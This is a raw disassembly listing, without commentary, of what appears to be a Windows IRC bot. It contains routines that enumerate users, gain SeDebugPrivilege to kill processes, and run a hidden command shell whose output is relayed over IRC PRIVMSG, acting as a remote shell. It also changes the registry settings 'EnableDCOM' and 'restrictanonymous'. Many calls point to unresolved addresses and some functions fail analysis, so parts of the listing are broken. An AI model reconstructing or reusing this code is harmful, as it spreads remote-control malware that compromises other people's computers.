; sub_4192DF+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41940D
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_4193FA
loc_419391: ; CODE XREF: sub_4192DF+EDj
cmp edi, esi
jz short loc_4193D0
push dword ptr [edi]
lea eax, [ebp+var_218]
push offset aS_4 ; " %S"
push eax
call sub_41B886
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_419391
jmp short loc_4193FA
; ---------------------------------------------------------------------------
loc_4193D0: ; CODE XREF: sub_4192DF+B4j
lea eax, [ebp+var_218]
push offset unk_439334
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 1Ch
loc_4193FA: ; CODE XREF: sub_4192DF+9Ej
; sub_4192DF+B0j ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_41940D
push edi
call dword_4CB004
xor edi, edi
mov [ebp+var_4], edi
loc_41940D: ; CODE XREF: sub_4192DF+A5j
; sub_4192DF+120j
cmp [ebp+var_C], 0EAh
jz loc_41931E
cmp edi, esi
jz short loc_419425
push edi
call dword_4CB004
loc_419425: ; CODE XREF: sub_4192DF+13Dj
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_41B886
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4192DF endp
; =============== S U B R O U T I N E =======================================
sub_41945F proc near ; CODE XREF: sub_418A98+41p
; sub_418C8E+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_419511
jz loc_41950A
cmp eax, 7Bh
ja short loc_4194D6
jz short loc_4194CC
cmp eax, 5
jz short loc_4194C2
cmp eax, 8
jz short loc_4194B8
cmp eax, 32h
jz short loc_4194AE
cmp eax, 35h
jz short loc_4194A4
cmp eax, 57h
jnz loc_419560
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194A4: ; CODE XREF: sub_41945F+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194AE: ; CODE XREF: sub_41945F+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194B8: ; CODE XREF: sub_41945F+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194C2: ; CODE XREF: sub_41945F+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194CC: ; CODE XREF: sub_41945F+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194D6: ; CODE XREF: sub_41945F+1Aj
sub eax, 7Ch
jz short loc_419503
sub eax, 7C8h
jz short loc_4194FC
dec eax
jz short loc_4194F2
dec eax
jnz short loc_419560
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194F2: ; CODE XREF: sub_41945F+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_419581
; ---------------------------------------------------------------------------
loc_4194FC: ; CODE XREF: sub_41945F+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419503: ; CODE XREF: sub_41945F+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41950A: ; CODE XREF: sub_41945F+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419511: ; CODE XREF: sub_41945F+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_41954A
jz short loc_419543
sub eax, 8ADh
jz short loc_419575
dec eax
dec eax
jz short loc_41953C
dec eax
jz short loc_419535
dec eax
dec eax
jnz short loc_419560
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419535: ; CODE XREF: sub_41945F+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41953C: ; CODE XREF: sub_41945F+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419543: ; CODE XREF: sub_41945F+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41954A: ; CODE XREF: sub_41945F+B9j
sub eax, 8CAh
jz short loc_41957C
sub eax, 17h
jz short loc_419575
sub eax, 25h
jz short loc_41956E
sub eax, 29h
jz short loc_419567
loc_419560: ; CODE XREF: sub_41945F+35j
; sub_41945F+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419567: ; CODE XREF: sub_41945F+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41956E: ; CODE XREF: sub_41945F+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_419575: ; CODE XREF: sub_41945F+C2j
; sub_41945F+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_419581
; ---------------------------------------------------------------------------
loc_41957C: ; CODE XREF: sub_41945F+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_419581: ; CODE XREF: sub_41945F+40j
; sub_41945F+4Aj ...
push offset dword_4DAB90
call sub_41B886
pop ecx
mov eax, offset dword_4DAB90
pop ecx
retn
sub_41945F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419593 proc near ; CODE XREF: sub_401ACD+4781p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_41D834
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
nop
call near ptr 26B0000h
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_41D834
lea eax, [ebp+var_718]
push eax
call sub_41D817
add esp, 10h
shl eax, 1
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_4CAF84
test eax, eax
jnz short loc_419623
mov esi, offset dword_4DA98C
push offset unk_43969C
push esi
call sub_41B886
pop ecx
pop ecx
jmp short loc_41964C
; ---------------------------------------------------------------------------
loc_419623: ; CODE XREF: sub_419593+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_41945F
pop ecx
mov esi, offset dword_4DA98C
push eax
push offset dword_439670
push esi
call sub_41B886
add esp, 14h
loc_41964C: ; CODE XREF: sub_419593+8Ej
mov eax, esi
pop esi
leave
retn
sub_419593 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419651 proc near ; CODE XREF: sub_416F1A+45p
; sub_416F1A+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call near ptr 2710628h
nop
push eax
call dword_4CAF58
test eax, eax
jnz short loc_419670
leave
retn
; ---------------------------------------------------------------------------
loc_419670: ; CODE XREF: sub_419651+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_4CAF30
test eax, eax
jz short loc_4196AE
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_419697
or [ebp+var_8], 2
jmp short loc_41969B
; ---------------------------------------------------------------------------
loc_419697: ; CODE XREF: sub_419651+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_41969B: ; CODE XREF: sub_419651+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_4CAFE0
mov esi, eax
loc_4196AE: ; CODE XREF: sub_419651+32j
push [ebp+var_4]
nop
call near ptr 26509C6h
mov eax, esi
pop esi
leave
retn
sub_419651 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4196BC proc near ; CODE XREF: sub_401ACD+7915p
; sub_4198EB+74p
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_4CAF94, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_4198BB
cmp dword_4CAF78, ebx
jz loc_4198BB
cmp dword_4CAE88, ebx
jz loc_4198BB
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
push ebx
push 0Fh
call dword_4CAF94
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_4198AE
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_4CAF78
mov esi, dword_427068
test eax, eax
jz loc_4198A9
lea eax, [ebp+var_130]
push eax
push edi
call dword_4CAE88
test eax, eax
jz loc_4198A9
mov edi, dword_427084
mov ebx, 1F0FFFh
loc_419780: ; CODE XREF: sub_4196BC+1E5j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_4197E7
mov [ebp+var_4], offset off_4396C8
loc_41978E: ; CODE XREF: sub_4196BC+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
nop
call near ptr 282104Fh
test eax, eax
jz short loc_4197B6
add [ebp+var_4], 4
cmp [ebp+var_4], offset dword_439728
jb short loc_41978E
jmp loc_41988F
; ---------------------------------------------------------------------------
loc_4197B6: ; CODE XREF: sub_4196BC+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_41988F
push 0
push eax
call near ptr 2700B64h
nop
test eax, eax
jnz loc_41988F
loc_4197DD: ; CODE XREF: sub_4196BC+1B9j
push [ebp+var_4]
call esi
jmp loc_41988F
; ---------------------------------------------------------------------------
loc_4197E7: ; CODE XREF: sub_4196BC+C9j
cmp [ebp+arg_C], eax
jnz loc_41987A
cmp [ebp+arg_4], eax
jz loc_41988F
push [ebp+var_128]
push 8
call dword_4CAF94
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_41983A
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_4CAE34
push [ebp+var_128]
test eax, eax
jz short loc_419840
lea eax, [ebp+var_234]
jmp short loc_419846
; ---------------------------------------------------------------------------
loc_41983A: ; CODE XREF: sub_4196BC+15Cj
push [ebp+var_128]
loc_419840: ; CODE XREF: sub_4196BC+174j
lea eax, [ebp+var_10C]
loc_419846: ; CODE XREF: sub_4196BC+17Cj
push eax
lea eax, [ebp+var_554]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
jmp loc_4197DD
; ---------------------------------------------------------------------------
loc_41987A: ; CODE XREF: sub_4196BC+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_4198C2
loc_41988F: ; CODE XREF: sub_4196BC+F5j
; sub_4196BC+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_4CAE88
test eax, eax
jnz loc_419780
xor ebx, ebx
loc_4198A9: ; CODE XREF: sub_4196BC+9Dj
; sub_4196BC+B3j
push [ebp+var_8]
call esi
loc_4198AE: ; CODE XREF: sub_4196BC+77j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419651
pop ecx
pop ecx
loc_4198BB: ; CODE XREF: sub_4196BC+3Aj
; sub_4196BC+46j ...
xor eax, eax
loc_4198BD: ; CODE XREF: sub_4196BC+22Dj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4198C2: ; CODE XREF: sub_4196BC+1D1j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
call near ptr 2700B64h
nop
test eax, eax
jnz short loc_4198E6
push edi
call esi
jmp short loc_4198BB
; ---------------------------------------------------------------------------
loc_4198E6: ; CODE XREF: sub_4196BC+223j
push 1
pop eax
jmp short loc_4198BD
sub_4196BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4198EB proc near ; DATA XREF: sub_401ACD+26CDo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset unk_4398C8
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_41994A
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A72
add esp, 14h
loc_41994A: ; CODE XREF: sub_4198EB+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_4196BC
add esp, 18h
test eax, eax
jnz short loc_419972
push offset unk_4398A4
jmp short loc_419977
; ---------------------------------------------------------------------------
loc_419972: ; CODE XREF: sub_4198EB+7Ej
push offset unk_439880
loc_419977: ; CODE XREF: sub_4198EB+85j
lea eax, [ebp+var_298]
push eax
call sub_41B886
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_4199AA
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_409A72
add esp, 14h
loc_4199AA: ; CODE XREF: sub_4198EB+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4151AC
push [ebp+var_14]
call sub_40B412
pop ecx
pop ecx
push esi
call near ptr 26D0000h
nop
pop edi
pop esi
sub_4198EB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4199C9 proc near ; CODE XREF: sub_401ACD+78B3p
; sub_40B231+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call near ptr 267032Dh
nop
mov esi, eax
test esi, esi
jz short loc_4199FB
push 0
push esi
nop
call near ptr 2700B64h
test eax, eax
jnz short loc_4199FB
push esi
xor edi, edi
nop
call near ptr 26509C6h
loc_4199FB: ; CODE XREF: sub_4199C9+1Aj
; sub_4199C9+27j
mov eax, edi
pop edi
pop esi
retn
sub_4199C9 endp
; ---------------------------------------------------------------------------
dword_419A00 dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh, 35FF18C4h
; DATA XREF: ___:004015EEo
dd 4396C4h, 247510E8h, 0E3EB9002h
; =============== S U B R O U T I N E =======================================
sub_419A20 proc near ; CODE XREF: sub_419A50+2Ap
; sub_419A88+7Ep ...
mov eax, dword_4DB1F8
push esi
mov esi, dword_427068
cmp eax, 0FFFFFFFFh
jz short loc_419A34
push eax
call esi
loc_419A34: ; CODE XREF: sub_419A20+Fj
mov eax, dword_4DB200
cmp eax, 0FFFFFFFFh
jz short loc_419A41
push eax
call esi
loc_419A41: ; CODE XREF: sub_419A20+1Cj
mov eax, dword_4DB1F4
cmp eax, 0FFFFFFFFh
jz short loc_419A4E
push eax
call esi
loc_419A4E: ; CODE XREF: sub_419A20+29j
pop esi
retn
sub_419A20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A50 proc near ; CODE XREF: sub_401ACD+7604p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push [ebp+arg_0]
call sub_41AFE0
pop ecx
mov [ebp+var_4], eax
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
push [ebp+arg_0]
push dword_4DB1FC
nop
call near ptr 26F0000h
test eax, eax
jnz short loc_419A83
call sub_419A20
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_419A83: ; CODE XREF: sub_419A50+28j
push 1
pop eax
leave
retn
sub_419A50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419A88 proc near ; CODE XREF: sub_419B0F+D3p
; sub_419B0F+F2p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push offset dword_43D128
push [ebp+arg_4]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_419ACB
push 7D0h
call near ptr 2660F2Dh
nop
push [ebp+arg_8]
lea eax, [ebp+var_200]
push [ebp+arg_4]
push offset aPrivmsgSS ; "PRIVMSG %s :%s\r"
push eax
call sub_41B886
add esp, 10h
jmp short loc_419AE2
; ---------------------------------------------------------------------------
loc_419ACB: ; CODE XREF: sub_419A88+1Aj
push [ebp+arg_8]
lea eax, [ebp+var_200]
push offset aS_1 ; "%s"
push eax
call sub_41B886
add esp, 0Ch
loc_419AE2: ; CODE XREF: sub_419A88+41j
lea eax, [ebp+var_200]
push 0
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CAFC4
test eax, eax
jg short loc_419B0B
call sub_419A20
loc_419B0B: ; CODE XREF: sub_419A88+7Cj
xor eax, eax
leave
retn
sub_419A88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419B0F proc near ; DATA XREF: sub_419C64+170o
var_20C = byte ptr -20Ch
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
mov esi, 200h
xor edi, edi
mov ebx, offset dword_4DB204
loc_419B27: ; CODE XREF: sub_419B0F+79j
; sub_419B0F+DBj
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push edi
push edi
push eax
lea eax, [ebp+var_20C]
push esi
push eax
push dword_4DB1F8
call near ptr 2821A06h
nop
test eax, eax
jz loc_419BF5
cmp [ebp+var_4], edi
jnz short loc_419B8A
lea eax, [ebp+var_8]
push eax
push dword_4DB1F4
call near ptr 28214F2h
nop
test eax, eax
jz short loc_419B80
cmp [ebp+var_8], 103h
jnz loc_419C19
loc_419B80: ; CODE XREF: sub_419B0F+62j
push 0Ah
call near ptr 2660F2Dh
nop
jmp short loc_419B27
; ---------------------------------------------------------------------------
loc_419B8A: ; CODE XREF: sub_419B0F+4Ej
xor eax, eax
cmp [ebp+var_4], edi
jbe short loc_419BA1
loc_419B91: ; CODE XREF: sub_419B0F+90j
cmp [ebp+eax+var_20C], 0Ah
jz short loc_419BEF
inc eax
cmp eax, [ebp+var_4]
jb short loc_419B91
loc_419BA1: ; CODE XREF: sub_419B0F+80j
mov [ebp+var_4], esi
loc_419BA4: ; CODE XREF: sub_419B0F+E4j
push esi
lea eax, [ebp+var_20C]
push edi
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_C]
push edi
push eax
push [ebp+var_4]
lea eax, [ebp+var_20C]
push eax
push dword_4DB1F8
nop
call near ptr 2700000h
test eax, eax
jz short loc_419C41
lea eax, [ebp+var_20C]
push eax
push ebx
push dword_4DB238
call sub_419A88
add esp, 0Ch
jmp loc_419B27
; ---------------------------------------------------------------------------
loc_419BEF: ; CODE XREF: sub_419B0F+8Aj
inc eax
mov [ebp+var_4], eax
jmp short loc_419BA4
; ---------------------------------------------------------------------------
loc_419BF5: ; CODE XREF: sub_419B0F+45j
push offset unk_439950
push ebx
push dword_4DB238
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push 1
nop
call near ptr 26D0000h
loc_419C19: ; CODE XREF: sub_419B0F+6Bj
call sub_419A20
push offset unk_439928
push ebx
push dword_4DB238
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push edi
call near ptr 26D0000h
nop
loc_419C41: ; CODE XREF: sub_419B0F+C3j
push offset unk_4398F8
push ebx
push dword_4DB238
call sub_419A88
push [ebp+arg_0]
call sub_40B412
add esp, 10h
push edi
call near ptr 26D0000h
nop
sub_419B0F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p
var_378 = byte ptr -378h
var_178 = byte ptr -178h
var_74 = dword ptr -74h
var_48 = dword ptr -48h
var_44 = word ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419A20
xor esi, esi
lea eax, [ebp+var_178]
push esi
push eax
push 104h
push esi
push offset dword_433514
push esi
call dword_4CB030
test eax, eax
jz loc_419D5E
push 1
lea eax, [ebp+var_1C]
pop ebx
mov edi, dword_4270FC
push esi
push eax
lea eax, [ebp+var_C]
mov [ebp+var_1C], 0Ch
push eax
lea eax, [ebp+var_10]
push eax
mov [ebp+var_14], ebx
mov [ebp+var_18], esi
call edi
test eax, eax
jz loc_419D5E
lea eax, [ebp+var_1C]
push esi
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
call edi
test eax, eax
jz loc_419D5E
mov edi, dword_4270F8
push 3
push esi
push esi
push offset dword_4DB1FC
call edi
push eax
push [ebp+var_8]
call edi
push eax
nop
call near ptr 2710000h
test eax, eax
jz short loc_419D5E
push 10h
lea eax, [ebp+var_2C]
push esi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_74]
pop edi
push edi
push esi
push eax
call sub_41B590
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_3C], eax
mov eax, [ebp+var_C]
mov [ebp+var_38], eax
mov [ebp+var_34], eax
lea eax, [ebp+var_2C]
mov [ebp+var_74], edi
push eax
lea eax, [ebp+var_74]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset dword_43D128
push esi
lea eax, [ebp+var_178]
push ebx
push eax
mov [ebp+var_48], 101h
mov [ebp+var_44], si
call near ptr 2650CA5h
nop
test eax, eax
jnz short loc_419D66
loc_419D5E: ; CODE XREF: sub_419C64+2Fj
; sub_419C64+5Cj ...
or eax, 0FFFFFFFFh
jmp loc_419E14
; ---------------------------------------------------------------------------
loc_419D66: ; CODE XREF: sub_419C64+F8j
push [ebp+var_4]
mov edi, dword_427068
call edi
mov eax, [ebp+var_10]
push [ebp+var_28]
mov dword_4DB1F8, eax
mov eax, [ebp+var_8]
mov dword_4DB200, eax
mov eax, [ebp+var_2C]
mov dword_4DB1F4, eax
call edi
mov eax, [ebp+arg_0]
cmp [ebp+arg_4], esi
mov dword_4DB238, eax
jz short loc_419DA0
push [ebp+arg_4]
jmp short loc_419DA1
; ---------------------------------------------------------------------------
loc_419DA0: ; CODE XREF: sub_419C64+135j
push ebx
loc_419DA1: ; CODE XREF: sub_419C64+13Aj
push offset dword_4DB204
call sub_41B886
pop ecx
pop ecx
push esi
push 0Ah
push offset unk_4399B4
call sub_40B0F6
mov edi, eax
mov ecx, [ebp+var_24]
imul edi, 234h
add esp, 0Ch
mov dword_43DEB8[edi], ecx
lea ecx, [ebp+var_30]
push ecx
push esi
push eax
push offset sub_419B0F
push esi
push esi
nop
call near ptr 2670000h
cmp eax, esi
mov dword_43DEC4[edi], eax
jnz short loc_419E12
nop
call near ptr 2670897h
push eax
lea eax, [ebp+var_378]
push offset unk_439980
push eax
call sub_41B886
lea eax, [ebp+var_378]
push eax
call sub_4151AC
add esp, 10h
loc_419E12: ; CODE XREF: sub_419C64+185j
xor eax, eax
loc_419E14: ; CODE XREF: sub_419C64+FDj
pop edi
pop esi
pop ebx
leave
retn
sub_419C64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_419E60
call sub_419E79
jmp short loc_419E65
; ---------------------------------------------------------------------------
loc_419E60: ; CODE XREF: sub_419E19+3Ej
call sub_41A19D
loc_419E65: ; CODE XREF: sub_419E19+45j
add esp, 10h
push [ebp+var_14]
call sub_40B412
pop ecx
push 0
nop
call near ptr 26D0000h
sub_419E19 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419E79 proc near ; CODE XREF: sub_419E19+40p
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp dword_4CB044, edi
jnz loc_419FAB
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_419F04
mov ax, word_43872C
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CAF98
test eax, eax
jz short loc_419EE6
push offset dword_439C50
jmp short loc_419EEB
; ---------------------------------------------------------------------------
loc_419EE6: ; CODE XREF: sub_419E79+64j
push offset dword_439C30
loc_419EEB: ; CODE XREF: sub_419E79+6Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_419F17
; ---------------------------------------------------------------------------
loc_419F04: ; CODE XREF: sub_419E79+36j
lea eax, [ebp+var_214]
push offset dword_439C00
push eax
call sub_41B886
pop ecx
pop ecx
loc_419F17: ; CODE XREF: sub_419E79+89j
cmp [ebp+arg_C], edi
jnz short loc_419F36
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_419F36: ; CODE XREF: sub_419E79+A1j
lea eax, [ebp+var_214]
push eax
call sub_4151AC
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CAFE4
test eax, eax
jnz short loc_419FA4
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CAF98
test eax, eax
jz short loc_419F86
push offset dword_439BB0
jmp short loc_419F8B
; ---------------------------------------------------------------------------
loc_419F86: ; CODE XREF: sub_419E79+104j
push offset dword_439B7C
loc_419F8B: ; CODE XREF: sub_419E79+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41B886
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CAF50
jmp short loc_419FBE
; ---------------------------------------------------------------------------
loc_419FA4: ; CODE XREF: sub_419E79+E2j
push offset dword_439B40
jmp short loc_419FB0
